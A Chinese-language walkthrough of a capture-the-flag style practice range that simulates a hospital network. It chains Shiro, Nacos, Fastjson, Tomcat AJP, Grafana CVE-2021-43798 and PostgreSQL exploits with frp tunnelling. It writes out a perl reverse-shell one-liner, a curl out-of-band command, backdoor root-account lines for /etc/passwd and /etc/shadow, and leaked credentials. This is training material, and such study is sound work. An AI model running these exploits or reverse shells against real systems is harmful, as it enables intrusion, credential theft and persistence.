靶标介绍

在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。

  • 内网渗透
  • Nacos
  • Shiro
  • Fastjson
  • Decrypt

web01

信息收集

环境开启之后,拿到公网的 IP 地址,使用 fscan 对目标进行基本的信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 x1ongsec  ~  fscan -h 39.99.141.64
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.0

[2025-03-07 18:00:06] [INFO] 暴力破解线程数: 1
[2025-03-07 18:00:06] [INFO] 开始信息扫描
[2025-03-07 18:00:06] [INFO] 最终有效主机数量: 1
[2025-03-07 18:00:06] [INFO] 开始主机扫描
[2025-03-07 18:00:06] [INFO] 有效端口数量: 233
[2025-03-07 18:00:06] [SUCCESS] 端口开放 39.99.141.64:21
[2025-03-07 18:00:06] [SUCCESS] 端口开放 39.99.141.64:22
[2025-03-07 18:00:06] [SUCCESS] 服务识别 39.99.141.64:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-03-07 18:00:06] [SUCCESS] 端口开放 39.99.141.64:8080
[2025-03-07 18:00:06] [SUCCESS] 服务识别 39.99.141.64:21 =>
[2025-03-07 18:00:11] [SUCCESS] 服务识别 39.99.141.64:8080 => [http]
[2025-03-07 18:00:11] [INFO] 存活端口数量: 3
[2025-03-07 18:00:11] [INFO] 开始漏洞扫描
[2025-03-07 18:00:11] [INFO] 加载的插件: ftp, ssh, webpoc, webtitle
[2025-03-07 18:00:12] [SUCCESS] 网站标题 http://39.99.141.64:8080 状态码:302 长度:0 标题:无标题 重定向地址: http://39.99.141.64:8080/login;jsessionid=4E51CB114D2B7F94ED0CA2EFE698B677
[2025-03-07 18:00:12] [SUCCESS] 网站标题 http://39.99.141.64:8080/login;jsessionid=4E51CB114D2B7F94ED0CA2EFE698B677 状态码:200 长度:2005 标题:医疗管理后台
[2025-03-07 18:00:18] [SUCCESS] 目标: http://39.99.141.64:8080
漏洞类型: poc-yaml-spring-actuator-heapdump-file
漏洞名称:
详细信息:
author:AgeloVito
links:https://www.cnblogs.com/wyb628/p/8567610.html

发现目标开启了 21、22、8080 端口,并在端口 8080 处扫描到 Spring 的 heapdump 文件泄露,这里直接先进行下载。

1
wget http://39.99.141.64:8080/actuator/heapdump

接着访问 8080 端口的服务:

手动尝试基本的弱口令之后发现无果,故而使用 burp 进行暴破,成功得到密码 admin123。

并且通过响应信息,发现该系统使用了 Shiro 框架,后台并没有什么特别的功能。

Shiro 漏洞利用

存在 Shiro 框架,这里使用 ShiroAttack 尝试暴破密钥,经过多次尝试后没有办法暴破出密钥。

但在前期信息收集的时候,发现该系统存在 heapdump 文件泄露,该文件一般是 Spring 配置文件的内存文件,里面可能记录着数据库的连接地址、用户名、密码。以及 AK、SK 和 JWT secret 等敏感信息。

由于是内存文件,不能直接查看,这里借助工具 JDumpSpider

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar ~/Downloads/heapdump > ~/Desktop/heapdump.txt

这里我们将工具的执行结果写入到了 heapdump.txt 文件,故而直接打开查看:

1
2
3
4
5
6
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

===========================================

发现存在 ShiroKey 且加密方式为 CBC,直接在工具中指定就行,这里如果没有检测到利用链,可以尝试进行暴破,实在不行重启工具。

接着尝试命令,发现当前用户为 app。

注入内存马反弹 shell

注入内存马,使用冰蝎进行连接(哥斯拉不知道什么原因注入无法连接):

使用冰蝎自带的反弹 shell 命令,将 shell 反弹到我们的 vps:

使用命令检测是否存在 Python,接着获取交互式 shell。

权限提升

当前用户为 app 用户,我们尝试提权至 root

使用 find 命令查找存在 SUID 的程序,尝试进行 SUID 提权,发现 vim 编辑器存在 suid 权限。

1
find / -perm -u=s -type f 2>/dev/null

但是当前 shell 在操作 vim 等交互式工具时存在很大差距,勉强能用。下面我们切换到增强式 shell:

1
2
3
# 新建一个窗口在vps上执行如下命令检查当前终端和STTY信息
echo $TERM
stty -a

接着来到目标主机的 shell,依次执行:

1
2
3
4
5
6
7
8
9
10
11
# 执行如下操作一定要获取交互式shell
# 把它丢到后台挂起,此时会回到攻击者的终端
ctrl + z
# 重置stty,也就意味着你看不到输入的内容,fg把后台挂起的程序调回前台
stty raw -echo;fg
# 完全刷新终端屏幕
reset
# 接下来设置环境变量,根据第一步得到的环境变量来设置
export SHELL=bash
export TERM=xterm-256color
stty rows 42 columns 136

此时就获取到一个增强的 shell,跟 ssh 直接连接没有很大区别。

vim 存在 SUID 一般我们的提权思路有:

  • 通过修改 passwd 和 shadow 文件新增用户
  • 通过 ssh 公私钥文件进行登录

这里我们选择第一种方式:

1
2
3
4
# vim /etc/passwd 添加特权用户
x1ongsec:x:0:0::/home/x1ongsec:/bin/bash
# vim /etc/shadow 添加特权用户
x1ongsec:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: # 密码是123456

添加完成之后直接通过新增的用户连接:

1
ssh x1ongsec@39.99.141.64

由于添加的用户 uid 为 0,表示 root 用户,因此这里登录的就为 root 用户。查看内网网段信息,直接在 web01 上传 fscan 工具进行扫描。

内网扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
root@web01:/root/x1ong# ./fscan -h 172.30.12.5/24
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.0

[2025-03-07 18:50:37] [INFO] 暴力破解线程数: 1
[2025-03-07 18:50:37] [INFO] 开始信息扫描
[2025-03-07 18:50:37] [INFO] CIDR范围: 172.30.12.0-172.30.12.255
[2025-03-07 18:50:37] [INFO] 生成IP范围: 172.30.12.0.%!d(string=172.30.12.255) - %!s(MISSING).%!d(MISSING)
[2025-03-07 18:50:37] [INFO] 解析CIDR 172.30.12.5/24 -> IP范围 172.30.12.0-172.30.12.255
[2025-03-07 18:50:38] [INFO] 最终有效主机数量: 256
[2025-03-07 18:50:38] [INFO] 开始主机扫描
[2025-03-07 18:50:38] [SUCCESS] 目标 172.30.12.5 存活 (ICMP)
[2025-03-07 18:50:38] [SUCCESS] 目标 172.30.12.6 存活 (ICMP)
[2025-03-07 18:50:38] [SUCCESS] 目标 172.30.12.236 存活 (ICMP)
[2025-03-07 18:50:41] [INFO] 存活主机数量: 3
[2025-03-07 18:50:41] [INFO] 有效端口数量: 233
[2025-03-07 18:50:41] [SUCCESS] 端口开放 172.30.12.6:139
[2025-03-07 18:50:41] [SUCCESS] 端口开放 172.30.12.5:22
[2025-03-07 18:50:41] [SUCCESS] 端口开放 172.30.12.236:22
[2025-03-07 18:50:41] [SUCCESS] 端口开放 172.30.12.6:445
[2025-03-07 18:50:41] [SUCCESS] 端口开放 172.30.12.6:135
[2025-03-07 18:50:41] [SUCCESS] 端口开放 172.30.12.236:8009
[2025-03-07 18:50:41] [SUCCESS] 端口开放 172.30.12.236:8080
[2025-03-07 18:50:41] [SUCCESS] 端口开放 172.30.12.5:8080
[2025-03-07 18:50:41] [SUCCESS] 端口开放 172.30.12.6:8848
[2025-03-07 18:50:41] [SUCCESS] 服务识别 172.30.12.5:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-03-07 18:50:41] [SUCCESS] 服务识别 172.30.12.236:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-03-07 18:50:46] [SUCCESS] 服务识别 172.30.12.6:139 => Banner:[.]
[2025-03-07 18:50:46] [SUCCESS] 服务识别 172.30.12.6:445 =>
[2025-03-07 18:50:46] [SUCCESS] 服务识别 172.30.12.236:8009 =>
[2025-03-07 18:50:46] [SUCCESS] 服务识别 172.30.12.5:8080 => [http]
[2025-03-07 18:50:46] [SUCCESS] 服务识别 172.30.12.236:8080 => [http]
[2025-03-07 18:50:51] [SUCCESS] 服务识别 172.30.12.6:8848 => [http]
[2025-03-07 18:51:46] [SUCCESS] 服务识别 172.30.12.6:135 =>
[2025-03-07 18:51:46] [INFO] 存活端口数量: 9
[2025-03-07 18:51:46] [INFO] 开始漏洞扫描
[2025-03-07 18:51:46] [INFO] 加载的插件: findnet, ms17010, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-03-07 18:51:46] [SUCCESS] NetInfo 扫描结果
目标主机: 172.30.12.6
主机名: Server02
发现的网络接口:
IPv4地址:
└─ 172.30.12.6
[2025-03-07 18:51:46] [SUCCESS] NetBios 172.30.12.6 WORKGROUP\SERVER02
[2025-03-07 18:51:46] [SUCCESS] 网站标题 http://172.30.12.6:8848 状态码:404 长度:431 标题:HTTP Status 404 – Not Found
[2025-03-07 18:51:46] [SUCCESS] 网站标题 http://172.30.12.236:8080 状态码:200 长度:3964 标题:医院后台管理平台
[2025-03-07 18:51:46] [SUCCESS] 网站标题 http://172.30.12.5:8080 状态码:302 长度:0 标题:无标题 重定向地址: http://172.30.12.5:8080/login;jsessionid=BFF5C559761FEC928511A9267FD3619F
[2025-03-07 18:51:47] [SUCCESS] 网站标题 http://172.30.12.5:8080/login;jsessionid=BFF5C559761FEC928511A9267FD3619F 状态码:200 长度:2005 标题:医疗管理后台
[2025-03-07 18:51:47] [SUCCESS] 目标: http://172.30.12.6:8848
漏洞类型: poc-yaml-alibaba-nacos
漏洞名称:
详细信息:
author:AgeloVito
links:https://blog.csdn.net/caiqiiqi/article/details/112005424
[2025-03-07 18:51:47] [SUCCESS] 目标: http://172.30.12.6:8848
漏洞类型: poc-yaml-alibaba-nacos-v1-auth-bypass
漏洞名称:
详细信息:
author:kmahyyg(https://github.com/kmahyyg)
links:https://github.com/alibaba/nacos/issues/4593
[2025-03-07 18:51:48] [SUCCESS] 目标: http://172.30.12.5:8080
漏洞类型: poc-yaml-spring-actuator-heapdump-file
漏洞名称:
详细信息:
author:AgeloVito
links:https://www.cnblogs.com/wyb628/p/8567610.html

这里 fscan 扫描到了内网存在 Nacos 并且存在漏洞,根据结果整理如下:

主机 开放端口 系统
172.30.12.5 22、8080 Linux
172.30.12.6 135、139、445、8848 Windows
172.30.12.236 22、8009、8080 Linux

由于 web2 和 web3 主机都存在内网,故而我们这里需要在 web1 处架设代理。

代理隧道搭建

frp 服务端

我们在 vps 上创建 frp 服务端:

1
2
3
4
5
root@ls-rK8rbuXz:~/frp_0.51.3_linux_amd64# cat frps.ini 
[common]
bind_addr = 0.0.0.0
bind_port = 7090
token = shadow

启动服务端:

1
root@ls-rK8rbuXz:~/frp_0.51.3_linux_amd64# nohup ./frps -c frps.ini &

frp 客户端

在 web01 主机上架设 frp 客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@web01:/root/x1ong/frp_0.51.3_linux_amd64# cat frpc.ini 
[common]
server_addr = 120.48.128.24
server_port = 7090
token = shadow

[sock5-proxy]
type = tcp
remote_port = 9090
plugin = socks5
use_encryption = true
use_compression = true
root@web01:/root/x1ong/frp_0.51.3_linux_amd64#

启动客户端:

1
root@web01:/root/x1ong/frp_0.51.3_linux_amd64# nohup ./frpc -c frpc.ini &

看到 success 就表示连接服务端成功了。

web02

在对 web02 进行渗透之前,我们需要使用代理与 web02 机器网络打通。

挂代理

proxychains 使用代理

这里我们使用的是命令行的 proxychains4 代理工具,修改配置文件使用代理

1
2
vim /opt/homebrew/etc/proxychains.conf # macos 
vim /etc/proxychains.conf # kali

在如下处设置代理 IP 和 端口:

1
2
[ProxyList]
socks5 120.48.128.24 9090

代理设置成功,只需要在要挂代理的命令前添加 proxychains4 即可。

浏览器插件使用代理

使用浏览器插件 FoxyProxy 配置一下代理地址和端口即可。

Nacos nday 利用

yaml 反序列化利用

在前面信息收集发现该系统开放 8848 端口,该端口是 Nacos 服务的默认端口。并且通过开放端口可以得知,该系统为 Windows 服务器。

主机 开放端口 系统
172.30.12.6 135、139、445、8848 Windows

在前面通过 fscan 扫描也得知该系统存在 Nacos 0day 漏洞。这里我们获取 Nacos 服务的版本信息。

1
/nacos/v1/console/server/state

发现版本为 1.4.1,并且为单机模式部署(非集群)。该版本是存在 sql 注入 和 yaml 反序列化漏洞的。我们使用NacosExploitGUI 工具进行检测。

1
java -jar NacosExploitGUI_v4.0.jar

在工具设置代理之后进行检测:

访问 /nacos 登录检测存在默认用户名 nacos/nacos 直接登录。

这里有个默认配置,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
server:
port: 8080
servlet:
context-path: /hello

spring:
application:
name: db-config
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8848
config:
server-addr: 127.0.0.1:8848
file-extension: yaml
namespace: dev
group: DEFAULT_GROUP
data-id: db-config.yaml
datasource:
mysql:
url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true
username: root
password: P@ssWord!!!
redis:
host: localhost
port: 6379

management:
endpoints:
web:
exposure:
include: '*'

需要提前说明的是,以上配置信息在后续渗透式没有任何用处的

由于该版本存在 yaml 反序列化漏洞,我们进行检测,在检测之前我们需要构造一个恶意的类,由于该系统是 Windows 系统我们创建用户 x1ong 并将其加入到管理员组。这里使用 fscan 指定端口扫描发现存在 3389 端口。

注意!!!这里的用户名必须满足复杂性要求(目标主机有策略)

接着编译项目:

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

将编译好的项目上传到 web01 主机,并使用 python 起一个 web 服务,将恶意的 jar 包共享。

1
python3 -m http.server 12345

接着回到工具进行利用:链接查看 HTTP 的日志,发现有请求访问。基本上可以确定漏洞利用成功。

其他方式注入内存马

上面一直没利用成功,后面重置了环境才成功的,其中踩坑最多的就是目标主机存在密码复杂度策略。所以以后在 Windows 创建用户尽量不要用弱密码…。

这里换了个工具 NacosExploit ,通过 sql 注入漏洞注入的冰蝎内存马:

这里有个坑的点就是密码不能设置那么简单…,有密码复杂性限制,因此导致 yaml 漏洞利用没有正确创建用户…

远程连接

不管是通过 yaml 反序列化漏洞执行创建用户命令还是通过其他方式注入内存马创建用户,都需要进行远程连接。

使用远程软件挂代理通过 3389 连接即可。得到 FLAG。

查看 IP 为单网卡 IP,故而到这里就结束了。

web03

信息收集

在前面我们信息收集的端口如下(部分,fscan 可能扫不全):

主机 开放端口 系统
172.30.12.236 22、8009、8080 Linux

发现 8009 端口为 ajp13 服务,8080 端口为 web 服务,在印象中 ajp13 服务是存在任意文件读取漏洞的。

这里配置 burp 使用代理:

抓取登陆的数据包:

发现是通过 json 传输的数据,进行 fastjson 特征探测之后,确定为 fastjson,但是需要进一步获取版本号:

1
2
{
"@type": "java.lang.AutoCloseable"

通过如下 PAYLOAD 获取版本号:

tomcat ajp 漏洞利用

当然也可以尝试使用 ajp13 服务的任意文件读取漏洞,进行读取 pom.xml 依赖文件获取

1
pcq python3 ajpShooter.py http://172.30.12.236:8080/ 8009 /WEB-INF/web.xml read

通过以上信息我们获取到该项目包名称为:com.hospital.fastjson.LoginServlet

1
pcq python3 ajpShooter.py http://172.30.12.236:8080 8009 /META-INF/maven/com.hospital/fastjson/pom.xml read

从 pom.xml 中获取 fastjson 的版本号:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.45</version>
</dependency>

fastjson 注入内存马

是存在反序列化的版本,使用 burp 的 fastjson-exp 插件注入内存马

使用哥斯拉工具进行连接

由于是 root 权限,这里直接编辑私钥文件。

接着使用 ssh 进行连接:

1
pcq ssh root@172.30.12.236 -i ~/.ssh/yunjing_id_rsa

如果报错如下,清空该文件即可。

再次连接

接着查看该主机 IP 信息,发现是双网卡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@web03:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.30.12.236 netmask 255.255.0.0 broadcast 172.30.255.255
inet6 fe80::216:3eff:fe2e:fc5f prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:2e:fc:5f txqueuelen 1000 (Ethernet)
RX packets 173126 bytes 178425890 (178.4 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 64079 bytes 31319743 (31.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.30.54.179 netmask 255.255.255.0 broadcast 172.30.54.255
inet6 fe80::216:3eff:fe2e:fbf9 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:2e:fb:f9 txqueuelen 1000 (Ethernet)
RX packets 2005 bytes 84210 (84.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2024 bytes 85676 (85.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4668 bytes 394605 (394.6 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4668 bytes 394605 (394.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@web03:~#

将 fscan 工具上传至 web03 对 172.30.54.0/24 网段进行信息收集:

1
pcq scp -i ~/.ssh/yunjing_id_rsa ~/tools/Scan/fscan/linux/fscan root@172.30.12.236:/root/

因为这里 ssh 软件挂代理是 VIP 的功能,Proxfier 也无法挂,只能使用原始方法了。

内网扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
root@web03:~# ./fscan -h 172.30.54.179/24
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.0

[2025-03-07 20:59:27] [INFO] 暴力破解线程数: 1
[2025-03-07 20:59:27] [INFO] 开始信息扫描
[2025-03-07 20:59:27] [INFO] CIDR范围: 172.30.54.0-172.30.54.255
[2025-03-07 20:59:27] [INFO] 生成IP范围: 172.30.54.0.%!d(string=172.30.54.255) - %!s(MISSING).%!d(MISSING)
[2025-03-07 20:59:27] [INFO] 解析CIDR 172.30.54.179/24 -> IP范围 172.30.54.0-172.30.54.255
[2025-03-07 20:59:27] [INFO] 最终有效主机数量: 256
[2025-03-07 20:59:27] [INFO] 开始主机扫描
[2025-03-07 20:59:27] [SUCCESS] 目标 172.30.54.179 存活 (ICMP)
[2025-03-07 20:59:27] [SUCCESS] 目标 172.30.54.12 存活 (ICMP)
[2025-03-07 20:59:30] [INFO] 存活主机数量: 2
[2025-03-07 20:59:30] [INFO] 有效端口数量: 233
[2025-03-07 20:59:31] [SUCCESS] 端口开放 172.30.54.12:22
[2025-03-07 20:59:31] [SUCCESS] 端口开放 172.30.54.12:3000
[2025-03-07 20:59:31] [SUCCESS] 端口开放 172.30.54.179:22
[2025-03-07 20:59:31] [SUCCESS] 端口开放 172.30.54.12:5432
[2025-03-07 20:59:31] [SUCCESS] 端口开放 172.30.54.179:8080
[2025-03-07 20:59:31] [SUCCESS] 端口开放 172.30.54.179:8888
[2025-03-07 20:59:31] [SUCCESS] 端口开放 172.30.54.179:8009
[2025-03-07 20:59:31] [SUCCESS] 服务识别 172.30.54.12:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-03-07 20:59:31] [SUCCESS] 服务识别 172.30.54.179:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-03-07 20:59:36] [SUCCESS] 服务识别 172.30.54.12:3000 => [http] Banner:[HTTP/1.1 400 Bad Request.Content-Type: text/plain; charset=utf-8.Connection: close.400 Bad Request]
[2025-03-07 20:59:36] [SUCCESS] 服务识别 172.30.54.12:5432 =>
[2025-03-07 20:59:36] [SUCCESS] 服务识别 172.30.54.179:8888 =>
[2025-03-07 20:59:36] [SUCCESS] 服务识别 172.30.54.179:8009 =>
[2025-03-07 20:59:36] [SUCCESS] 服务识别 172.30.54.179:8080 => [http]
[2025-03-07 20:59:36] [INFO] 存活端口数量: 7
[2025-03-07 20:59:36] [INFO] 开始漏洞扫描
[2025-03-07 20:59:36] [INFO] 加载的插件: postgres, ssh, webpoc, webtitle
[2025-03-07 20:59:36] [SUCCESS] 网站标题 http://172.30.54.179:8080 状态码:200 长度:3964 标题:医院后台管理平台
[2025-03-07 20:59:36] [SUCCESS] 网站标题 http://172.30.54.12:3000 状态码:302 长度:29 标题:无标题 重定向地址: http://172.30.54.12:3000/login
[2025-03-07 20:59:36] [SUCCESS] 网站标题 http://172.30.54.12:3000/login 状态码:200 长度:27909 标题:Grafana

部分开放端口如下:

主机 端口 系统
172.30.54.12 22、3000、5432 Linux

代理隧道搭建

由于 web01 可以通互联网,而 web01 也可以通 web03,因此我们在 web01 搭建 frp 服务端,web03 搭建 frp 客户端,然后将 web01 的 socks 端口转发到 vps 上。即二层代理创建。

因此我们也需要将 frp 客户端传入到靶机:

1
pcq scp -i ~/.ssh/yunjing_id_rsa ~/tools/Proxy/Frp/Linux/frp_0.51.3_linux_amd64.tar.gz root@172.30.12.236:/root/

web01 配置如下(frp 服务端):

1
2
3
4
[common]
bind_addr = 0.0.0.0
bind_port = 7071
token = shadow

启动服务端:

1
nohup ./frps -c frps.ini &

web03 配置如下(frp 客户端):

1
2
3
4
5
6
7
8
9
10
11
[common]
server_addr = 172.30.12.5
server_port = 7071
token = shadow

[sock5-proxy]
type = tcp
remote_port = 6060
plugin = socks5
use_encryption = true
use_compression = true

启动客户端:

1
nohup ./frpc -c ./frpc.ini &

此时 web01 的 6000 端口就是 socks 端口了,但是我们攻击者机器没办法直接访问到 web01 的 6000 端口,由于 web01 可出网,故而我们需要再 web01 配置将本地的 6000 端口转发到 vps 机器。配置如下:

编辑 web01 的 frpc.ini 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[common]
server_addr = 120.48.128.24
server_port = 7090
token = shadow

[sock5-proxy]
type = tcp
remote_port = 9090
plugin = socks5
use_encryption = true
use_compression = true

[portforward]
type = tcp
local_ip = 127.0.0.1
remote_port = 6060
local_port = 6060

重新启动 frpc 进程即可:

1
2
3
4
5
root@web01:/root/x1ong/frp_0.51.3_linux_amd64# ps -ef |grep frpc
root 1922 1735 0 09:39 pts/1 00:00:01 ./frpc -c frpc.ini
root 2656 1735 0 10:09 pts/1 00:00:00 grep frpc
root@web01:/root/x1ong/frp_0.51.3_linux_amd64# kill -9 1922
root@web01:/root/x1ong/frp_0.51.3_linux_amd64# nohup ./frpc -c frpc.ini &

由于 web03 存在双网卡,因此我们使用 6000 这个代理端口即可以访问 172.30.12.0/24 也可以访问 172.30.54.0/24 网段。我们直接使用该端口即可。

web04

信息收集

访问发现是一个 Grafana 数据可视化平台。在印象中该系统是存在漏洞的,经过版本确认,发现可能 CVE-2021-43798。

Grafana是一个跨平台的开源分析和交互式可视化Web应用程序。通过Web在连接支持的数据源时,提供图表、图形和警报等。

CVE-2021-43798

使用脚本 grafanaExp 进行漏洞验证,这里我们先将工具上传到 web03:

1
pcq scp -i ~/.ssh/yunjing_id_rsa ~/tools/Other/Grafana/linux_amd64_grafanaExp.tar.gz root@172.30.12.236:/root/

接着进行读取 key 和数据库密码,成功读取到 key,但是没办法获取数据库的密码。可能是因为工具版本问题。

这里借用一下其他师傅读取到的信息:

1
2
3
4
5
6
root@web03:~# ./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000
2023/12/29 17:41:34 Target vulnerable has plugin [alertlist]
2023/12/29 17:41:34 Got secret_key [SW2YcwTIb9zpOOhoPsMm]
2023/12/29 17:41:34 There is [0] records in db.
2023/12/29 17:41:34 type:[postgres] name:[PostgreSQL] url:[localhost:5432] user:[postgres] password[Postgres@123]database:[postgres] basic_auth_user:[] basic_auth_password:[]
2023/12/29 17:41:34 All Done, have nice day!

连接 postgres

这里使用 psql 客户端进行连接:

1
pcq psql -h 172.30.54.12 -U postgres

输入密码:Postgres@123 连接即可。

PostgreSQL 8.1 及之前版本执行系统命令可以直接使用 Linux 中的 libc.so.6 文件,在执行之前呢我们先在 web03 处使用 python 起一个 web 服务。

1
2
3
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;  # 通过so文件创建命令执行函数 system

select system('curl 172.30.54.179:1234/`whoami`'); # 执行命令

通过返回结果我们可以得知,这里的用户为 postgres。这里是把结果带外了,其实是无回显的。

系统上 libc.so.6 文件的路径只能靠试(位置不对创建函数时会报错的),一般为如下几个位置:

  • /lib/x86_64-linux-gnu/libc.so.6
  • /lib/libc.so.6
  • /lib64/libc.so.6
  • /usr/lib/x86_64-linux-gnu/libc.so.6
  • /usr/lib32/libc.so.6

创建函数成功后,执行命令时当返回值为 0 表示执行成功,其它值则是执行失败。

这里虽然能执行命令但是也不能查看回显结果,除了反弹 shell 以外我们还可以使用 MDUT 工具,但是默认的工具不支持代理,因此我使用 MDUT-Extend

执行 sudo -l 发现无需密码就可以使用以 root 用户身份去执行 psql 命令。

反弹 shell 提权

这里我们使用 perl 反弹 shell 到 web03,在 web03 上传一个打包好的 ncat 工具 ,接着监听端口 2333:

在 psql 端(web04)执行反弹 shell 命令这里使用的是 perl 进行反弹,/bin/bash 反弹一直连不上。

1
postgres=# select system('perl -e \'use Socket;$i="172.30.54.179";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

成功反弹都 shell,这里获取一个完全交互的 shell。

由于 psql 存在 sudo,我们查阅文档进行提权。

需要注意的是,如果直接执行 sudo psql会提示输入 postgres 用户的密码。这里使用绝对路径执行即可。

输入 Postgres@123密码进行连接 psql,发现提示需要 root 用户。由于我们知道超级管理员 postgres 用户的密码,这里登陆到 PostgreSQL 数据库直接将 root 用户的密码修改为 <font style="color:rgb(52, 52, 60);">admin123</font>

1
ALTER USER root WITH PASSWORD 'admin123';

接着我们再次连接。键入我们修改的密码 admin123。输入 \?

接着输入 !/bin/bash

直接进入到 root 的终端,最后获取到 flag。

参考文章